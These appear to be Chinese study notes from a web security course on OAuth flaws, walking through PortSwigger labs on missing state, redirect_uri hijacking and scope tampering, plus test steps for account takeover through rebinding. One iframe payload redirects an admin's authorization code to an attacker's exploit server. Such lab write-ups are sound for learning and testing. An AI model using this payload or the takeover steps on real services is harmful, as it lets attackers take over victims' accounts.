0%

第81天-身份验证篇&OAuth认证&授权分类及参数&重定向接管&State缺陷&Scope篡改

演示案例:

➢ WEB攻防-OAuth认证-授权逻辑&授权分类&参数解释

➢ WEB攻防-OAuth认证-无State&重定向接管&篡改Scope

一、解释

OAuth:一种常用的授权框架,它允许网站和Web应用程序请求对另一个应用程序上的用户帐户的有限访问权限,像那种允许使用第三方账号(QQ、微信等)登录的网站,可能就是使用的OAuth框架。

二、类型

授权类型:授权码模式,隐式授权类型等

这两种就简单理解授权码模式看不到token,隐式授权能看到token,前者安全一点

参考:

https://mp.weixin.qq.com/s/TSsRNZtpttqXBviLwtYT9A

https://mp.weixin.qq.com/s/ATjdIxSOruY-_lCCs2kcGg

state为什么能防止csrf,攻击者发来的攻击链接比如state等于abc,当受害者访问后,虽然url里是abc,但是code生成的同时,会生成对应的session,这里受害者code值和session值对不上,拒绝访问

三、靶场

1、OAuth隐式认证绕过

2、注册资源SSRF被利用

这两个过时了就不浪费时间了

3、存在CSRF缺陷用户被绑定 无state

这个实验的原理是,我们可以通过账号密码来登录账号,同时也能绑定第三方来登录(如:wx、qq)。我们想授权服务器发送请求的时候看到无state,然后服务器会返回一个code,我们把这个过程的url放到攻击服务器上,当攻击者访问这个攻击网站,会把我们的第三方应用权限绑到受害者账户,然后用第三方应用登录的时候就登录到受害者账号。这个就是因为返回授权码的url没有state参数,所以导致随便绑定

4、CSRF缺陷redirect_uri劫持code

这个就是改redirect_url的值,改为攻击网站,攻击网站写

1
<iframe src="https://oauth-0a7400cb04161e5e80c1152902690027.oauth-server.net/auth?client_id=hsvii9krryl5joffjyca7&redirect_uri=https://exploit-0a2f0030045c1e37802816fc01070056.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email"></iframe>

就是让管理员一访问网站,就向授权服务器发送授权请求,然后返回的code就会被发到回调地址,回调地址填的是我们的服务器,自然就获取到code,然后带上code直接访问就是管理员账号

5、scope篡改升级范围信息获取

scope本身就是控制权限的,这里就是让你改变scope值获取不同权限很好理解

portswigger.net/web-security/all-labs#oauth-authentication参考:blog.csdn.net/weixin_39190897/article/details/139885599

四、复盘

https://mp.weixin.qq.com/s/TSsQ_mWGsFYZiF_RBdfbKg

https://mp.weixin.qq.com/s/NuNkzax8nb72qb-S1RvTnQ

https://mp.weixin.qq.com/s/QuhNuVyb2uy2T-br-mxAJw

https://mp.weixin.qq.com/s/TSsRNZtpttqXBviLwtYT9A

如何测试 OAuth 换绑实现账户接管漏洞

  1. 分别在两个浏览器上注册两个账号,分别为账号 A 和账号 B

  2. 在账号A上走完一遍绑定第三方平台的流程,抓住最后绑定的那个数据包,Send to Repeater然后Drop掉

  3. 在登陆了账号B的浏览器上,直接去访问账号A先前绑定的URL,观察B是否新绑定了第三方平台,如果是,则存在该漏洞,否则就不存在

演示案例:xxxxxx